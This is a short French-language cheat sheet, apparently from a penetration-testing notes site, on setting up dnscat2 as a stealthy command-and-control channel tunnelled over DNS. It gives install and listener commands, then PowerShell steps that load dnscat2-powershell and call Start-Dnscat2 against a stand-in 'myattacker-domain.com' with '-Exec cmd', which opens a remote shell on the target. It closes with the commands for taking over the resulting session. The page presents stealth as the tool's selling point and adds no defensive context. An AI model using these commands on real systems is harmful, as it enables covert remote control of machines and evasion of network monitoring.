Skip to content

via Dnscat2

Cet outil offre de la furtivité mais cela au détriment des performances. Il faudra l'utiliser uniquement lorsque la discrétion est une priorité

Installation

sudo apt install dnscat2

Utilisation

Serveur

# lance le listener et affiche la ligne de commande à lancer sur la cible
sudo dnscat2-server --dns domain=blabla.fr
[...]
./dnscat --secret=9daeec39519fcba5c8a62a8b157f5e1e blabla.fr

Client

Powershell

git clone https://github.com/lukebaggett/dnscat2-powershell.git

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 1.2.3.4 -Domain myattacker-domain.com -PreSharedSecret xxxxxxxxxxxxxxxxxxxxxxxx -Exec cmd 
# Sur le serveur, apres que le client se soit connecté :
window
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = blabla.fr [*]
  1 :: (not set) [cleartext] [idle for 446 seconds]
  2 :: exec (MYHOST) [encrypted and verified] [*]     <====== NOTRE SESSION

# interaction
window -i 2

## ATTENTION : lorsque l'on saisie une commande, cela met beaucoup de temps à retourner une réponse !!